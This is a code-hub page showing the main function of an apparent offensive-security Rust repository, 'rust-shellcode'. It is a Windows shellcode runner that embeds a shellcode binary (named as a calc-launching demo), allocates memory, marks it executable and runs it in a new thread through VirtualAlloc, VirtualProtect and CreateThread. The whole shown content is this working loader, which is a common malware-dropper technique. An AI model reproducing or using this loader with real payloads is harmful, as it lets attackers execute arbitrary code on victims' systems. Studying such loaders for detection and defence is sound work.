MCPcopy Create free account
hub / github.com/b1nhack/rust-shellcode / main

Function main

create_thread/src/main.rs:10–41  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

8
9#[cfg(target_os = "windows")]
10fn main() {
11 let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
12 let shellcode_size = shellcode.len();
13
14 unsafe {
15 let addr = VirtualAlloc(
16 null(),
17 shellcode_size,
18 MEM_COMMIT | MEM_RESERVE,
19 PAGE_READWRITE,
20 );
21 if addr.is_null() {
22 panic!("[-]VirtualAlloc failed: {}!", GetLastError());
23 }
24
25 copy(shellcode.as_ptr(), addr.cast(), shellcode_size);
26
27 let mut old = PAGE_READWRITE;
28 let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old);
29 if res == FALSE {
30 panic!("[-]VirtualProtect failed: {}!", GetLastError());
31 }
32
33 let addr = transmute(addr);
34 let thread = CreateThread(null(), 0, addr, null(), 0, null_mut());
35 if thread == 0 {
36 panic!("[-]CreateThread failed: {}!", GetLastError());
37 }
38
39 WaitForSingleObject(thread, WAIT_FAILED);
40 }
41}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected